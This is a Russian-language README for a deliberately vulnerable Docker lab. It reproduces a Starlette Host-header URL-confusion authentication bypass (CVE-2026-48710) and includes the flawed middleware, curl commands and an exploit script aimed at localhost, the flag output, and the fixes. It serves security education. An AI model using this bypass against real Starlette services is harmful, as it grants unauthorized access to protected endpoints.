
Лаборатория Starlette по путанице URL с заголовком Host (X41-2026-002) - CVE-2026-48710
Автономный, контейнеризированный учебный лабораторный стенд, воспроизводящий уязвимость обхода аутентификации в Starlette, раскрытую X41 D-Sec.
>= 0.8.3, < 1.0.1 (в лаборатории зафиксирована версия 0.37.2)1.0.1⚠️ Только для авторизованного обучения безопасности. Это приложение намеренно уязвимо. Не разворачивайте его в какой-либо достижимой сети.
Starlette направляет запрос к маршруту, используя сырой ASGI scope["path"], но восстанавливает путем форматирования строки с использованием предоставленного клиентом заголовка в — в соответствии с RFC 9112 §3.2. Поскольку метасимволы URL (, , ) пропускаются напрямую, злоумышленник может заставить путь отличаться от по маршруту пути. Любая проверка безопасности, написанная с использованием , может быть обманута, в то время как маршрутизатор все еще достигает защищенного обработчика.
request.urlHost"{scheme}://{host}{path}"?/#request.url.pathУязвимое промежуточное ПО разрешает запрос только тогда, когда request.url.path равен / или пуст:
if request.url.path in ("/", ""):
return await call_next(request) # разрешено
return PlainTextResponse("Forbidden", status_code=403)
Отправьте Host: foo? против GET /admin:
| Компонент | Используемое значение |
|---|---|
Маршрутизатор (scope["path"]) | /admin → направляет в admin() |
request.url | http://foo?/admin |
request.url.path | "" → проходит проверку аутентификации ✅ |
? превращает все после себя в строку запроса, поэтому разобранный путь пуст. Аутентификация видит пустой путь и пропускает его; маршрутизатор все равно обслуживает /admin. Обход достигнут.
Требуется Docker + Docker Compose.
docker compose up --build
Запускаются два сервиса:
| Сервис | URL | Поведение |
|---|---|---|
vulnerable | http://localhost:8000 | допускает обход |
fixed | http://localhost:8001 | защищён (двумя способами) |
# Заблокировано обычным образом:
curl -i http://localhost:8000/admin # 403 Forbidden
# Обход через инъекцию заголовка Host:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
Или запустите направляющий PoC-скрипт:
./exploit/exploit.sh # атакует :8000 (успешно)
./exploit/exploit.sh 8001 # атакует :8001 (неудачно — исправлено)
Уязвимый обработчик /admin возвращает тело JSON, которое делает путаницу видимой — обратите внимание, как scope_path и reconstructed_path расходятся:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
Смотрите fixed/fixed_app.py. Две независимые меры защиты:
request.scope["path"] — того же сырого пути, который использует маршрутизатор, — вместо восстановленного request.url.path.TrustedHostMiddleware отклоняет неожиданные/некорректные заголовки Host до того, как выполняется какая-либо логика приложения, отражая то, что делает соответствующий RFC обратный прокси-сервер (nginx/Apache) выше по потоку.Реальное исправление — просто обновление до Starlette ≥ 1.0.1, которое проверяет заголовок Host при восстановлении URL.
redirect_uri OAuth, ключи кэша, ссылки для сброса пароля, построенные из Host.)/admin) здесь более хрупко, чем «принимать решение на основе маршрутизированной конечной точки»? Что, если маршрутизация нечувствительна к регистру или имеет перенаправления с завершающим слешем?starlette-host-header-lab/
├── app/vulnerable_app.py # намеренно уязвимый сервис
├── fixed/fixed_app.py # защищённый сервис для сравнения
├── exploit/exploit.sh # направляющий proof-of-concept
├── requirements.txt # фиксирует Starlette 0.37.2 (уязвимую)
├── Dockerfile
├── docker-compose.yml
└── README.md